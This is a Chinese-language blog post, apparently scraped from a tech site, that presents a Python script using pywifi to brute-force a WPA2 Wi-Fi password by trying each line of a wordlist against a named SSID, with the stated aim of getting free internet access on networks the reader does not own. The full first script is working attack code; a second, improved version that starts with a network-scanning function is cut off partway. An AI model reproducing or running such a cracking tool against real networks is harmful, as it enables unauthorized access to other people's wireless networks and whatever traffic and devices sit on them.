admin管理员组

文章数量:1540702

前言

本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。

无图形界面

先来看看没有图形界面版的爆破脚本。

WIFI爆破

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

import pywifi

from pywifi import const

import time

import datetime

# 测试连接,返回链接结果

def wifiConnect(pwd):

    # 抓取网卡接口

    wifi = pywifi.PyWiFi()

    # 获取第一个无线网卡

    ifaces = wifi.interfaces()[0]

    # 断开所有连接

    ifaces.disconnect()

    time.sleep(1)

    wifistatus = ifaces.status()

    if wifistatus == const.IFACE_DISCONNECTED:

        # 创建WiFi连接文件

        profile = pywifi.Profile()

        # 要连接WiFi的名称

        profile.ssid = "Tr0e"

        # 网卡的开放状态

        profile.auth = const.AUTH_ALG_OPEN

        # wifi加密算法,一般wifi加密算法为wps

        profile.akm.append(const.AKM_TYPE_WPA2PSK)

        # 加密单元

        profile.cipher = const.CIPHER_TYPE_CCMP

        # 调用密码

        profile.key = pwd

        # 删除所有连接过的wifi文件

        ifaces.remove_all_network_profiles()

        # 设定新的连接文件

        tep_profile = ifaces.add_network_profile(profile)

        ifaces.connect(tep_profile)

        # wifi连接时间

        time.sleep(2)

        if ifaces.status() == const.IFACE_CONNECTED:

            return True

        else:

            return False

    else:

        print("已有wifi连接")

# 读取密码本

def readPassword():

    success = False

    print("****************** WIFI破解 ******************")

    # 密码本路径

    path = "pwd.txt"

    # 打开文件

    file = open(path, "r")

    start = datetime.datetime.now()

    while True:

        try:

            pwd = file.readline()

            # 去除密码的末尾换行符

            pwd = pwd.strip('\n')

            bool = wifiConnect(pwd)

            if bool:

                print("[*] 密码已破解:", pwd)

                print("[*] WiFi已自动连接!!!")

                success = True

                break

            else:

                # 跳出当前循环,进行下一次循环

                print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))

        except:

            continue

    end = datetime.datetime.now()

    if(success):

        print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))

        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")

    exit(0)

if __name__=="__main__":

    readPassword()

代码运行效果:

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

import pywifi

import time

from pywifi import const

# WiFi扫描模块

def wifi_scan():

    # 初始化wifi

    wifi = pywifi.PyWiFi()

    # 使用第一个无线网卡

    interface = wifi.interfaces()[0]

    # 开始扫描

    interface.scan()

    for i in range(4):

        time.sleep(1)

        print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')

    print('\r扫描完成!\n' + '-' * 38)

    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))

本文标签: 密码代码详细Pythonwifi